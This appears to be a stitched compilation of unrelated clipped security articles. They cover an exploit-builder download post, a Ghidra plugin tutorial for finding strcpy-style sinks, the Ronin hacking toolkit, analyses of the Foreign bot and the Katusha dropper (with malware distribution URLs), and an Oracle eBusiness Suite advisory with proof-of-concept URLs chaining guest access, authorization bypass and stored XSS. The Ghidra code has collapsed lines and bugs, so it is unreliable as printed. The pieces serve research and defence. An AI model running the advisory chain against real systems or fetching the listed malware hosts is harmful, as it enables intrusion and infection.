in PENETRATION TESTING, REVERSE ENGINEERING, SECURITY TOOLS

MSF eXploit Builder build an exploit in 5 minutes to run in Metasploit
Framework

<img src='img/Temp2_5058.jpg' alt='theXploiter MSF eXploit Builder GUI to
build Metasploit Framework' />

We all are familiar about Metasploit Framework a basic and important tool used
for penetration testing. If you know a exploit or have a source code and need
to complie or create it which will run in MetasploitFramework then MSF eXploit
Builder is for you.

MSF eXploit Builder is a Windows GUI to build Metasploit Framework exploit
modules. Help you to edit/modify/create/test exploit modules for the
Metasploit Framework.

No need to install just download extract and run.

Nice how to videos.

1.Porting an exploit to the MSF  
2.Porting an ActiveX exploit to the MSF

Well these tutorial will solve most of the problem you have in your mind for
example if you have downloaded some script and need to run that script but
dont know how and were to place the script this tool will guide you how to
edit and recompile and make it work with Metasploit Framework.

**Download MSF eXploit Builder** Here

If you find any problem in downloading or error while working leave a comment.

Have Fun \!\!\!  

#### Related External Links

  * 

  * New **Metasploit** Meterpreter Scripts « Security Aegis

  * 

  * 

### Related Posts

  * July 22, 2009 -- Forensic tool – Belkasoft Forensic Studio
  * July 21, 2009 -- Exploiting Linux 2.6.x and Selinux
  * July 20, 2009 -- Perform both generation and mutation based fuzzing with peachfuzz
  * July 17, 2009 -- TweetMyPC – Remote Control your Windows PC
  * July 16, 2009 -- Coupon code – Free Norman Security Suite v7 1 Year License
  * July 15, 2009 -- SolFileCypher – hide or test your file from antivirus
  * July 10, 2009 -- Fuzzware – Web Services and ActiveX controls
  * July 8, 2009 -- N-Stalker – web application scanner
  * July 8, 2009 -- a-squared Anti-Malware – free one year coupon

  *[JULY 6, 2009]: 2009-07-06

# Ghidra Plugin Development for Vulnerability Research - Part-1

**Created:**| _4/25/2019 6:30:56 AM_  
---|---  
**Updated:**| _4/25/2019 6:30:56 AM_  
**Author:**| __  
**Tags:**| _bughunting ghidra_  
  

  

#  Ghidra Plugin Development for Vulnerability Research - Part-1

## **Overview**

On March 5th at the RSA security conference, the National Security Agency
\(NSA\) released a reverse engineering tool called Ghidra. Similar to IDA Pro,
Ghidra is a disassembler and decompiler with many powerful features \(e.g.,
plugin support, graph views, cross references, syntax highlighting, etc.\).
Although Ghidra's plugin capabilities are powerful, there is little
information published on its full capabilities. This blog post series will
focus on Ghidra’s plugin development and how it can be used to help identify
software vulnerabilities.

In our previous post, we leveraged IDA Pro’s plugin functionality to identify
sinks \(potentially vulnerable functions or programming syntax\). We then
improved upon this technique in our follow up blog post to identify inline
strcpy calls and identified a buffer overflow in Microsoft Office. In this
post, we will use similar techniques with Ghidra’s plugin feature to identify
sinks in CoreFTPServer v1.2 build 505.

## **Ghidra Plugin Fundamentals**

Before we begin, we recommend going through the example Ghidra plugin scripts
and the front page of the API documentation to understand the basics of
writing a plugin. \(**Help - > Ghidra API Help**\)

<img src='img/1554153789547' width='0' height='0' />

When a Ghidra plugin script runs, the current state of the program will be
handled by the following five objects:

  * **currentProgram** : the active program
  * **currentAddress** : the address of the current cursor location in the tool
  * **currentLocation** : the program location of the current cursor location in the tool, or null if no program location exists
  * **currentSelection** : the current selection in the tool, or null if no selection exists
  * **currentHighlight** : the current highlight in the tool, or null if no highlight exists

It is important to note that Ghidra is written in Java, and its plugins can be
written in Java or Jython. For the purposes of this post, we will be writing a
plugin in Jython. There are three ways to use Ghidra’s Jython API:

  * **Using Python IDE \(similar to IDA Python console\):**

<img src='img/1554154466345' width='0' height='0' />

  * **Loading a script from the script manager:**

<img src='img/1554155172626' width='0' height='0' />

  * **Headless** **\- Using Ghidra without a GUI:**

<img src='img/ghidra_output4.png' width='0' height='0' />

With an understanding of Ghidra plugin basics, we can now dive deeper into the
source code by utilizing the script manager \(**Right Click on the script** ->
**Edit with Basic Editor**\)

<img src='img/1554155971923' width='0' height='0' />

The example plugin scripts are located under
**/path\_to\_ghidra/Ghidra/Features/Python/ghidra\_scripts.**\(In the script
manager, these are located under **Examples/Python/**\):

<img src='img/ghidra_output6.png' width='0' height='0' />

##  
**Ghidra Plugin Sink Detection**

In order to detect sinks, we first have to create a list of sinks that can be
utilized by our plugin. For the purpose of this post, we will target the sinks
that are known to produce buffer overflow vulnerabilities. These sinks can be
found in various write-ups, books, and publications.

Our plugin will first identify all function calls in a program and check
against our list of sinks to filter out the targets. For each sink, we will
identify all of their parent functions and called addresses. By the end of
this process, we will have a plugin that can map the calling functions to
sinks, and therefore identify sinks that could result in a buffer overflow.

**Locating Function Calls**

There are various methods to determine whether a program contains sinks. We
will be focusing on the below methods, and will discuss each in detail in the
following sections:

  1. **Linear Search -** Iterate over the text section \(executable section\) of the binary and check the instruction operand against our predefined list of sinks.
  2. **Cross References \(Xrefs\) -** Utilize Ghidra’s built in identification of cross references and query the cross references to sinks. 

## **Linear Search**

The first method of locating all function calls in a program is to do a
sequential search. While this method may not be the ideal search technique, it
is a great way of demonstrating some of the features in Ghidra’s API.

Using the below code, we can print out all instructions in our program:

[code]

    listing = currentProgram.getListing()#get a Listing interface
    ins_list = listing.getInstructions(1)#get an Instruction iteratorwhile ins_list.hasNext():#go through each instruction and print it out to the console
        ins = ins_list.next()print(ins)
[/code]

Running the above script on CoreFTPServer gives us the following output:

<img src='img/ghidra_output7.png' width='0' height='0' />

We can see that all of the x86 instructions in the program were printed out to
the console.

Next, we filter for sinks that are utilized in the program. It is important to
check for duplicates as there could be multiple references to the identified
sinks.

Building upon the previous code, we now have the following:

[code]

    sinks =["strcpy","memcpy","gets","memmove","scanf","lstrcpy","strcpyW",#...]
    duplicate =[]
    listing = currentProgram.getListing() 
    ins_list = listing.getInstructions(1)while ins_list.hasNext():           
        ins = ins_list.next()    
        ops = ins.getOpObjects(0)try:        
            target_addr = ops[0]  
            sink_func = listing.getFunctionAt(target_addr) 
            sink_func_name = sink_func.getName()if sink_func_name in sinks and sink_func_name notin  duplicate:
                duplicate.append(sink_func_name)print(sink_func_name,target_addr)except:pass
[/code]

Now that we have identified a list of sinks in our target binary, we have to
locate where these functions are getting called. Since we are iterating
through the executable section of the binary and checking every operand
against the list of sinks, all we have to do is add a filter for the call
instruction.

Adding this check to the previous code gives us the following:

[code]

    sinks =["strcpy","memcpy","gets","memmove","scanf","strcpyA","strcpyW","wcscpy","_tcscpy","_mbscpy","StrCpy","StrCpyA","lstrcpyA","lstrcpy",#...]
    
    duplicate =[]
    listing = currentProgram.getListing()
    ins_list = listing.getInstructions(1)#iterate through each instructionwhile ins_list.hasNext():
        ins = ins_list.next()
        ops = ins.getOpObjects(0)
        mnemonic = ins.getMnemonicString()#check to see if the instruction is a call instructionif mnemonic =="CALL":try:
                target_addr = ops[0]
                sink_func = listing.getFunctionAt(target_addr)
                sink_func_name = sink_func.getName()#check to see if function being called is in the sinks listif sink_func_name in sinks and sink_func_name notin duplicate:
                    duplicate.append(sink_func_name)print(sink_func_name,target_addr)except:pass
[/code]

Running the above script against CoreFTPServer v1.2 build 505 shows the
results for all detected sinks:

<img src='img/ghidra_output8.png' width='0' height='0' />

Unfortunately, the above code does not detect any sinks in the CoreFTPServer
binary. However, we know that this particular version of CoreFTPServer is
vulnerable to a buffer overflow and contains the **lstrcpyA** sink.So, why did
our plugin fail to detect any sinks?

After researching this question, we discovered that in order to identify the
functions that are calling out to an external DLL, we need to use the function
manager that specifically handles the external functions.

To do this, we modified our code so that every time we see a call instruction
we go through all external functions in our program and check them against the
list of sinks. Then, if they are found in the list, we verify whether that the
operand matches the address of the sink.

The following is the modified section of the script:

[code]

    sinks =["strcpy","memcpy","gets","memmove","scanf","strcpyA","strcpyW","wcscpy","_tcscpy","_mbscpy","StrCpy","StrCpyA","lstrcpyA","lstrcpy",#...]
    
    program_sinks ={}
    listing = currentProgram.getListing()
    ins_list = listing.getInstructions(1)
    ext_fm = fm.getExternalFunctions()#iterate through each of the external functions to build a dictionary#of external functions and their addresseswhile ext_fm.hasNext():
        ext_func = ext_fm.next()
        target_func = ext_func.getName()#if the function is a sink then add it's address to a dictionaryif target_func in sinks: 
            loc = ext_func.getExternalLocation()
            sink_addr = loc.getAddress()
            sink_func_name = loc.getLabel()
            program_sinks[sink_addr]= sink_func_name
    
    #iterate through each instruction while ins_list.hasNext():
        ins = ins_list.next()
        ops = ins.getOpObjects(0)
        mnemonic = ins.getMnemonicString()#check to see if the instruction is a call instructionif mnemonic =="CALL":try:#get address of operand
                target_addr = ops[0]#check to see if address exists in generated sink dictionaryif program.sinks.get(target_addr):print(program_sinks[target_addr], target_addr,ins.getAddress())except:pass
[/code]

Running the modified script against our program shows that we identified
multiple sinks that could result in a buffer overflow.

<img src='img/ghidra_output9.png' width='0' height='0' />

## **Xrefs**

The second and more efficient approach is to identify cross references to each
sink and check which cross references are calling the sinks in our list.
Because this approach does not search through the entire text section, it is
more efficient.  
  
Using the below code, we can identify cross references to each sink:

[code]

    sinks =["strcpy","memcpy","gets","memmove","scanf","strcpyA","strcpyW","wcscpy","_tcscpy","_mbscpy","StrCpy","StrCpyA","lstrcpyA","lstrcpy",#...]
    
    duplicate =[]
    func = getFirstFunction()while func isnotNone:
        func_name = func.getName()#check if function name is in sinks listif func_name in sinks and func_name notin duplicate:
            duplicate.append(func_name)
            entry_point = func.getEntryPoint()
            references = getReferencesTo(entry_point)#print cross-references    print(references)#set the function to the next function
        func = getFunctionAfter(func)
[/code]

Now that we have identified the cross references, we can get an instruction
for each reference and add a filter for the call instruction. A final
modification is added to include the use of the external function manager:

[code]

    sinks =["strcpy","memcpy","gets","memmove","scanf","strcpyA","strcpyW","wcscpy","_tcscpy","_mbscpy","StrCpy","StrCpyA","lstrcpyA","lstrcpy",#...]
    
    duplicate =[]
    fm = currentProgram.getFunctionManager()
    ext_fm = fm.getExternalFunctions()#iterate through each external functionwhile ext_fm.hasNext():
        ext_func = ext_fm.next()
        target_func = ext_func.getName()#check if the function is in our sinks list if target_func in sinks and target_func notin duplicate:
            duplicate.append(target_func)
            loc = ext_func.getExternalLocation()
            sink_func_addr = loc.getAddress()if sink_func_addr isNone:
                sink_func_addr = ext_func.getEntryPoint()if sink_func_addr isnotNone:
                references = getReferencesTo(sink_func_addr)#iterate through all cross references to potential sinkfor ref in references:
                    call_addr = ref.getFromAddress()
                    ins = listing.getInstructionAt(call_addr)
                    mnemonic = ins.getMnemonicString()#print the sink and address of the sink if #the instruction is a call instructionif mnemonic ==“CALL”:print(target_func,sink_func_addr,call_addr)
[/code]

Running the modified script against CoreFTPServer gives us a list of sinks
that could result in a buffer overflow:

<img src='img/ghidra_output9.png' width='0' height='0' />

## **Mapping Calling Functions to Sinks**

So far, our Ghidra plugin can identify sinks. With this information, we can
take it a step further by mapping the calling functions to the sinks. This
allows security researchers to visualize the relationship between the sink and
its incoming data. For the purpose of this post, we will use graphviz module
to draw a graph.

Putting it all together gives us the following code:

[code]

    from ghidra.program.model.address importAddressfrom ghidra.program.model.listing.CodeUnitimport*from ghidra.program.model.listing.Listingimport*import sys
    import os
    
    #get ghidra root directory
    ghidra_default_dir = os.getcwd()#get ghidra jython directory
    jython_dir = os.path.join(ghidra_default_dir,"Ghidra","Features","Python","lib","Lib","site-packages")#insert jython directory into system path 
    sys.path.insert(0,jython_dir)from beautifultable importBeautifulTablefrom graphviz importDigraph
    
    
    sinks =["strcpy","memcpy","gets","memmove","scanf","strcpyA","strcpyW","wcscpy","_tcscpy","_mbscpy","StrCpy","StrCpyA","StrCpyW","lstrcpy","lstrcpyA","lstrcpyW",#...]
    
    sink_dic ={}
    duplicate =[]
    listing = currentProgram.getListing()
    ins_list = listing.getInstructions(1)#iterate over each instructionwhile ins_list.hasNext():
        ins = ins_list.next()
        mnemonic = ins.getMnemonicString()
        ops = ins.getOpObjects(0)if mnemonic =="CALL":try:
                target_addr = ops[0]
                func_name =Noneif isinstance(target_addr,Address):
                    code_unit = listing.getCodeUnitAt(target_addr)if code_unit isnotNone:
                        ref = code_unit.getExternalReference(0)if ref isnotNone:
                            func_name = ref.getLabel()else:
                            func = listing.getFunctionAt(target_addr)
                            func_name = func.getName()#check if function name is in our sinks listif func_name in sinks and func_name notin duplicate:
                    duplicate.append(func_name)
                    references = getReferencesTo(target_addr)for ref in references:
                        call_addr = ref.getFromAddress()
                        sink_addr = ops[0]
                        parent_func_name = getFunctionBefore(call_addr).getName()#check sink dictionary for parent function nameif sink_dic.get(parent_func_name):if sink_dic[parent_func_name].get(func_name):if call_addr notin sink_dic[parent_func_name][func_name]['call_address']:
                                    sink_dic[parent_func_name][func_name]['call_address'].append(call_addr)else:
                                    sink_dic[parent_func_name]={func_name:{"address":sink_addr,"call_address":[call_addr]}}else:	
                            sink_dic[parent_func_name]={func_name:{"address":sink_addr,"call_address":[call_addr]}}except:pass#instantiate graphiz
    graph =Digraph("ReferenceTree")
    graph.graph_attr['rankdir']='LR'
    duplicate =0#Add sinks and parent functions to a graph	for parent_func_name,sink_func_list in sink_dic.items():#parent functions will be blue
        graph.node(parent_func_name,parent_func_name, style="filled",color="blue",fontcolor="white")for sink_name,sink_list in sink_func_list.items():#sinks will be colored red
            graph.node(sink_name,sink_name,style="filled", color="red",fontcolor="white")for call_addr in sink_list['call_address']:if duplicate != call_addr:					
                    graph.edge(parent_func_name,sink_name, label=call_addr.toString())
                    duplicate = call_addr	
    
    ghidra_default_path = os.getcwd()
    graph_output_file = os.path.join(ghidra_default_path,"sink_and_caller.gv")#create the graph and view it using graphiz
    graph.render(graph_output_file,view=True)
[/code]

Running the script against our program shows the following graph:

<img src='img/ghidra_output10.png' width='0' height='0' />

We can see the calling functions are highlighted in blue and the sink is
highlighted in red. The addresses of the calling functions are displayed on
the line pointing to the sink.

After conducting some manual analysis we were able to verify that several of
the sinks identified by our Ghidra plugin produced a buffer overflow. The
following screenshot of WinDBG shows that EIP is overwritten by 0x42424242 as
a result of an lstrcpyA function call.

<img src='img/ghidra_output15.png' width='0' height='0' />

## **Additional Features**

Although visualizing the result in a graph format is helpful for vulnerability
analysis, it would also be useful if the user could choose different output
formats.

The Ghidra API provides several methods for interacting with a user and
several ways of outputting data. We can leverage the Ghidra API to allow a
user to choose an output format \(e.g. text, JSON, graph\) and display the
result in the chosen format. The example below shows the dropdown menu with
three different display formats. The full script is available at our github:

<img src='img/ghidra_output11.png' width='0' height='0' />

## **Limitations**

There are multiple known issues with Ghidra, and one of the biggest issues for
writing an analysis plugin like ours is that the Ghidra API does not always
return the correct address of an identified standard function.

Unlike IDA Pro, which has a database of function signatures \(FLIRT
signatures\) from multiple libraries that can be used to detect the standard
function calls, Ghidra only comes with a few export files \(similar to
signature files\) for DLLs. Occasionally, the standard library detection will
fail.

<img src='img/ghidra_output12.png' width='0' height='0' />

By comparing IDA Pro and Ghidra’s disassembly output of CoreFTPServer, we can
see that IDA Pro’s analysis successfully identified and mapped the function
**lstrcpyA** using a FLIRT signature, whereas Ghidra shows a call to the
memory address of the function **lstrcpyA**.

Although the public release of Ghidra has limitations, we expect to see
improvements that will enhance the standard library analysis and aid in
automated vulnerability research.

## **Conclusion**

Ghidra is a powerful reverse engineering tool that can be leveraged to
identify potential vulnerabilities. Using Ghidra’s API, we were able to
develop a plugin that identifies sinks and their parent functions and display
the results in various formats. In our next blog post, we will conduct
additional automated analysis using Ghidra and enhance the plugins
vulnerability detection capabilities.

Measure

Measure

# Introducing Ronin, a hacking environment for the rest of us « House of
Postmodern

**Created:**| _9/10/2010 9:49:20 AM_  
---|---  
**Updated:**| _9/10/2010 9:49:20 AM_  
**Author:**| _wishi_  
**Tags:**| _web-app-sec commandline-kungfu_  
  

# Introducing Ronin, a hacking environment for the rest of us

Ronin has been my main quasi-secret \(I only told people who asked what I was
hacking on in GVim\) project for some time now. It has also been driving most
of my side projects, such as GScraper, reverse-require and R’epertoire. The
code-base has finally settled down now, allowing me to release version 0.0.9
of Ronin. This is an initial beta-release, so not all of the desired features
are present, although I’m always looking for user-feedback.

Ronin is a platform for information security and data-exploration tasks. Ronin
harnesses the elegance of Ruby \(one-liner convenience methods, sparse monkey-
patching, meta-programming, Domain Specific Languages \(DSL\) and duck-
typing\) to provide the user with a robust API, an extendable command-line
utility and a customized IRB console.

Ronin is considered a platform and not a framework, since it has the ability
to install Overlays of code \(think extensions\) and data \(think
exploit/shellcode repositories\) from any SubVersion \(SVN\), Git, CVS or
Rsync repositories, which are then integrated into Ronin’s environment. The
ability to install 3rd party code or data from any common source-code
repository using just a URI is what makes Ronin decentralized.

Ronin is not bloated either, most of it’s functionality is divided between
various libraries which can be selectively installed by the user. These
libraries allow the user to choose what functionality they need from Ronin.
Ronin currently provides the following libraries:

  * Ronin SQL – Provides SQL Injection tests, exploitation methods and a DSL for generating complex SQL Injection statements.
  * Ronin PHP – Provides PHP Local File Inclusion \(LFI\) and Remote File Inclusion \(RFI\) tests, fingerprinting, exploitation methods and a custom PHP Remote Procedure Call \(RPC\) server which can injected via RFI vulnerabilities.
  * Ronin Dorks – Provides a simply API for performing common or even custom Google Dorks.
  * Ronin Exploits – Provides an API for defining Exploits or Payloads which can also be distributed over the previously mentioned Overlays and cached by Ronin for later use.

Ronin is packaged as a RubyGem and can be downloaded here. To install Ronin
using RubyGems, simply run the following command:

[code]

    $ sudo gem install ronin
    
[/code]

Documentation for Ronin and it’s libraries can be found here. If you have
further questions there’s also a FAQ for Ronin.

**Update 2:** I have recently published a HOWTO covering Ronin’s convenience
methods and how to perform everyday tasks in the Ronin Console \(such as
owning web-servers\).

**Update 1:** An astute reader of this blog pointed out that R’epertoire
0.1.2, which is required by Ronin, was not yet released as a RubyGem on
rubyforge.org. This issue has been corrected and R’epertoire 0.1.2 is now
available for download.

Also expect a release of the Ronin Exploits soon \(I’m in the process of
adding the beginnings of Vulnerability Taxonomy to the Exploit base-class\).

# Hiding Malicious Traffic Under the HTTP 404 Error | Fortinet Blog
**Created:**| _4/10/2015 1:04:37 PM_  
---|---  
**Updated:**| _4/10/2015 1:04:37 PM_  
**Author:**| __  
**Tags:**| _web-app-sec iDS/iPS_  
  

# Hiding Malicious Traffic Under the HTTP 404 Error

A few weeks ago, our FortiGuard Labs Threat Intelligence system discovered
some new suspicious samples as usual. One of these samples caught our
attention when we checked its network traffic.

For this particular sample, which Fortinet already detects as
W32/Foreign.LXES\!tr, we found that most of its communication has the
**_HTTP/1.1 404 Not Found_** status, which should mean that some error has
occurred generally. But when we analysed the data further, we realized that it
was actually a special trick.

### The Ping & Pong Commands

When it first connects to its C&C server, the Foreign bot uses the command ,
which expects the reply \(_Figure 1_\).

<img src='img/Temp2_3874.png' />

_Figure 1. The Foreign bot uses ping/pong to check if the C &C server is
available._

This is similar to the and messages of the IRC protocol \(_Figure 2_\).

<img src='img/Temp2_3873.png' />

_Figure 2. The_ _PING/PONG_ _messages, as used in a normal IRC connection._

Unlike the PING/PONG messages of the IRC protocol, which are used for testing
the presence of an existing connection, the bot uses its ping/pong commands
under the HTTP protocol to test the availability of its C&C server.

### Hiding C&C Traffic Under an HTTP Error Code

The HTTP 404 Error is a standard HTTP response code that indicates that the
client is able to communicate to a server, but that the server could not find
the page that the client is requesting on that server. The Foreign bot uses
the 404 Error for its malicious purposes, hiding its communication with its
C&C server under this standard HTTP response code.

As can be seen in the figure below, the received message is encoded with
Base64 and is stored in the source code comment between the keywords.

<img src='img/Temp2_3869.png' />

_Figure 3. The bot’s C &C message hidden in the HTTP 404 Error._

According to the plaintext message of the package that was sent to the C&C
server \(_Figure 3_\), the current version of the bot is . This version number
can also be found in the bot’s binary \(_Figure 4_\).

<img src='img/Temp2_3867.png' />

_Figure 4. Bot version in the binary._

Furthermore, as we can see in _Figure 4_ , the bot will also collect some
system information - such as the operation system, antivirus software
installed, network status, and system serial number - and then upload the
information to the C&C server.

The package received from the C&C server is encoded with Base64. After
decoding the package, we can see the C&C message in plaintext. Below is an
example of a package that we received.

<img src='img/Temp2_3875.png' />

_Figure 5. Example of package received from the C &C server. _

In the example above, we can see multiple commands in the message, which we
marked in red.

  * The spread archive command tells the bot to insert a copy of itself into RAR archives. The file names of its copies are chosen from the following list, which can be found hardcoded in its binary.

<img src='img/Temp2_3871.png' />

_Figure 6. Filename list for RAR archive infection._

  * The spread usb command lets the bot infect USB drives in the system. The filename used is not taken from a predefined list, but is generated using the format %d%d%d.exe, so only numbers are used.

  * The loader command triggers downloading and executing of another binary under the user’s Temporary folder. The bot examines the downloaded binary’s extension name. If the extension is .dll, the bot executes regsvr32.exe with the parameter to load it. If the extension name is , it executes wscript.exe for loading. All other extension names, including , are executed directly by calling the CreateProcess API.

  * The command adds the following registry entry:

<img src='img/Temp2_3866.png' />

The \[Number\] indicated above is a number given by the C&C server. In our
testing, the value given was .

### The Bot Commands

Being a brand new bot, we only received certain commands that were sent by the
C&C server. After analyzing the bot’s code, we found the following complete
list of bot commands:

<img src='img/Temp2_3872.png' />

### The Anti-Analysis Feature

In its codes, the bot contains an anti-analysis feature that is not activated.
This feature includes several ways of detecting whether the bot is being
debugged or being executed in a virtual machine, and if it is, would terminate
the bot immediately.

Once this feature is triggered, it could hinder analysis, and so we list all
of its detection mechanisms below:

  * Calling the API IsDebuggerPresent

  * Calling the API CheckRemoteDebuggerPresent

  * The following strings are present in the result of the API GetUserNameA:

<img src='img/Temp2_3876.png' />

  * The following strings exist in the full path of the bot:

<img src='img/Temp2_3877.png' />

  * The API wine\_get\_unix\_file\_name exists in kernel32.dll

  * Any of the following DLLs exists and is loadable:

<img src='img/Temp2_3870.png' />

  * Any of the following registry entries exists:

<img src='img/Temp2_3868.png' />

### Conclusion

The Foreign bot is an example of how malware can take advantage of standard
messages in common protocols, using them to hide and spread their malicious
activities. Our FortiGuard Labs Threat Intelligence system will continually
monitor this bot’s activity and will respond when new activities emerge.

# Evilcodecave: Reverse Engineering overview of Win32/Katusha.o Dropper

**Created:**| _11/13/2010 3:55:14 PM_  
---|---  
**Updated:**| _11/13/2010 3:55:29 PM_  
**Author:**| __  
**Tags:**| _Debugging windows security reversing Malware-analysis windows
environment_  
  

### Reverse Engineering overview of Win32/Katusha.o Dropper

Hi,  
  
  
In this blogpost I'm going to Analyse Win32.Katusha.o Trojan Dropper; usually
dropped via e-mail attachment or via compromised web page.  
  
Katusha.o appeared in various domains located in KR, USA and RU, we have had
approximately 6 Domains that contained the same version of Katusha with the
only difference that each dropper has a different Hardcoded and Encrypter URL
string used to download other malicious executables.  

  1. **http://bornstory.com/\***
  2. **http://digitalartfact.com/\***
  3. **http://aquui.in/v2/out/ \***
  4. **http://perejopa.com/tpsa/swar/\***
  5. **http://megatuz.ru/dh/\***
  6. **http://pulselocums.com.au/media/\***

Every malicious domain contain also the following executables:  

  1. **rapport.exe MD5: 587a7521a124f2b57538ae0b6123ca23**
  2. **stats.exe MD5:** **903BBE2D8314071F3A79D386E6E4D3DA**

**rapport.exe** is **Backdoor.Win32.Turkojan**.  
  
My sample come out from **megatuz.ru**  
  
**Domain :www.megatuz.ru, IpAddress : 193.105.207.105, Location : Kazakhstan**  
  
Here you can check also shared domains that belog to **193.105.207.105** by
observing that AS50793 **ALFAHOSTNET** **Alfa-Host LLP** => \(
**193.105.207.0/24** \) is already listed as **ZeuS Command and Control
hoster**.  
  
More information on **megatuz.ru** C&C Server Anatomy can be checked here:  
  
**https://zeustracker.abuse.ch/monitor.php?host=megatuz.ru**  
  
A graph can be viewed here: **http://www.robtex.com/as/as50793.html\#asinfo**  
  
Here we go to observe stats.exe trojan.  
  
FileName: **stats.exe**  
FileSize: **159.00 KB \(162816 bytes\)**  
MD5: **903BBE2D8314071F3A79D386E6E4D3DA**  
SHA-1: **D09A90770691C6C940FC273F6A768478BB2D523A**  
  
**ImportTable** is not crippled and values coherents  
**ResourceDirectory** presents one entry, a Dialog called "**PROCJOB** "  
  
Let's take a look at a self explaining screenshot of Floating Frequency plot:  
  

<img src='img/Temp2_2796.jpg' width='640' height='344' />

  
  
This is a comparison between our dropper and a clean executable, as you can
see the one containing encrypted data is clearly distinguishable from the
executable in clean, Density is evident, now **just for fun** and confirmation
a 3D plot that cleary show the density of the two files:  
  

<img src='img/Temp2_2799.jpg' width='640' height='307' />

  
Now it's time to reverse in the canonical way stats.exe; application is
written with VisualC++, se we must locate call main\(argc,argv\) and start
analyzing from the top.  
  

  

<img src='img/Temp2_2797.jpg' width='640' height='326' />

  
**call 00413780** allocates various pieces of heap and decodes a portion of
code, the most interesting feature is that the RET address of this call is not
in main but points out to **004136B0**. The piece of code that belongs to this
last seen address has the same scope of the previous one, just code
decryption/unpacking and finally again ret lands to a different address from
the caller **00418030**. This piece of code was originally decrypted, and now
this last one is going to decrypt a second layer.  
  

<img src='img/Temp2_2800.jpg' width='640' height='358' />

  
During analysis emerged various layer of encryption decoded on fly, these last
one works as decoders for other pieces of code successively Heap Allocated and
ready to be dumped as a new executable. But the most interesting aspect is the
usage of **API Spoofing Techniques**.  
  
API Spoofing it's an **Anti-ReverseEngineering** technique which has the
intent to **Fool the debugger API Name Resolution** and consequently deceiving
the analyst that will see for example a Call ExitProcess when in reality the
malware uses a CreateFile.  
  

<img src='img/Temp2_2798.jpg' width='640' height='196' />

  
  
Another important observation is that, analysis of this sample should be
performed by using OllyDbg2 with **Debug Child Process Event** checked, this
because at a certain point the Father malware will drop on the hardisk another
executable and successively execute it via **CreateProcess** , by using
**Child Process Event** awareness we are sure that even if some call is
missing by analyst and exactly in that call CreateProcess is called a new
instance of OllyDbg will popup and break execution at Child Process's
EntryPoint.  
  
The executable that produces the Child Process, is almost identical to
stats.exe with a basical difference, near to the end there is a **Code
Injection** procedure. Performed in the classical way of Process Enumeration
via CreateToolhelp32Snapshot, successively Opening Process via OpenProces and
performing WriteProcessMemory in combo with CreateRemoteThread.  
  
We have essentially two Files decrypted and dumped to hardisk by stats.exe
both of them located **Documents and Settings\%user\Data Application\**  
  
There are two randomly named directories that contains the executable used to
inject code and a .bin  
  
During infection process both executables creates some static named mutexes,
so due to univocity of these object **Mutex Names** can be used as **Evidence
Indicator** and consequently as should be obvious as **Detection** element.  
  
  
**Global\\\{2C9B3931-D5D1-B2CF-3E91-BCC8B33D8E79\}  
Global\\\{B9FA2C73-C093-27AE-3E91-BCC8B33D8E79\}  
Global\\\{F8615710-BBF0-6635-9F57-C80112FBFAB0\}**  
Injection interests essentially system processes and has the effect of
downloading an encrypted file **stats.bin**  
  
This post it's just an overview of Katusha essentially to show its
anatomy**.**  
  
Tnx to my Beloved Caterina unvaluable inspiration of my life and great mw
pusher\!  
  
See you to the next post,  
Giuseppe 'Evilcry' Bonfa

# Hacktics :: Advisories :: Multiple Vulnerabilities Allow Remote Takeover of
Oracle eBusiness Suite Administrative Interface

**Created:**| _12/18/2009 10:18:30 PM_  
---|---  
**Updated:**| _12/18/2009 10:18:39 PM_  
**Author:**| __  
**Tags:**| _Exploit report_  
  

Multiple Vulnerabilities Allow Remote Takeover of Oracle eBusiness Suite
Administrative Interface

Hacktics Research

By Shay Chen December 14th, 2009

BID: 37305

** _Overview_**

During a penetration test performed by Hacktics' experts, certain
vulnerabilities were identified in the Oracle eBusiness Suite deployment.
Further research has identified several vulnerabilities which, combined, can
allow an unauthenticated remote user to take over and gain full control over
the administrative web user account of the Oracle eBusiness Suite.

Following is a video demonstrating a full step-by-step reproduction of this
attack:

**_The Finding_**

Three separate issues have been identified:

_1\. Unauthenticated Guest Access_

It is possible for unauthenticated users to access certain pages with guest
privileges \(according to Oracle's security representative this is a standard
functionality of this component\). While some pages may not be directly
accessible as a guest in this manner, this can be bypassed by taking advantage
of the session management behavior in the application.

_2\. Authorization Bypass_

Malicious users can access and manage content of other users, relying on the
lack of access control in the page management interface. Attackers can use
parameter tampering techniques to directly access the resource identifiers of
pages owned by other users, and delete or modify their content.

_3\. Persistent Cross Site Scripting_

Certain web interfaces in the user's menu management interface enable
attackers to inject malicious scripts into user-specific content, causing the
scripts to be executed in the browser of any user viewing the infected content
\(Persistent Cross Site Scripting\).

By combining all three vulnerabilities, an unauthenticated attacker can
initially gain guest access, leverage it to access pages belonging to the
administrative user, and inject malicious Java-script into their content, in
order to steal session identifiers, which allow taking over the administrative
user account.

**_Details_**

 _1\. Unauthenticated Guest Access_

By accessing certain internal pages directly, attackers can cause the
application to grant them guest access and load certain objects into the
user's server side session. At this point, the attacker is able to access
other internal components in the application as the guest user, including
management services, configuration interfaces and information disclosing
components, etc.

Unauthenticated attackers can bypass the login phase by directly**** accessing
certain internal URLs such as \(partial list\):

http://host:port/OA\_HTML/OA.jsp

http://host:port/OA\_HTML/RF.jsp

When accessing one of these URLs, the system generates an exception and an
error is presented to the client. However, as part of the process, the JSP
code populates the session object of the user with  _guest_ privileges. The
attacker can then access other pages in the systems which allow guest
operations, such as:

http://host:port/OA\_HTML/AppsChangePassword.jsp

http://host:port/pls/\[DADName\]/OracleMyPage.home

http://host:port/pls/\[DADName\]/icx\_define\_pages.editpagelist

 _2\. Authorization Bypass_

Various page management URLs in the Oracle eBusiness Suite rely on the
parameter named ** _p\_page\_id_** to determine which page to manage. An
attacker can easily access the page of another user, by simply altering that
parameter value to a value representing the other's user page. No
authorization checks are performed to verify the authenticity of the user
attempting the access.

The following proof-of-concept samples are provided \(the ** _p\_page\__ id**
has to be associated with a page of a valid user\):

http://host:port/pls/\[DADName\]/oracleconfigure.customize?p\_page\_id=\[page\_id\]

http://host:port/pls/\[DADName\]/icx\_define\_pages.DispPageDialog?p\_mode=RENAME&p\_page\_id=\[page\_id\]

http://host:8888/pls/TEST/oracleconfigure.customize?p\_page\_id=1

 _3\. Persistent Cross Site Scripting_

Various interfaces under the personal page management interface are vulnerable
to Persistent Cross Site Scripting:

http://host:port/pls/\[DADName\]/icx\_define\_pages.editpagelist

http://host:port/pls/\[DADName\]/oracleconfigure.customize?p\_page\_id=\[page\_id\]

An attacker can inject malicious scripts into the various properties of a new
or existing page object \(via submitted forms\).

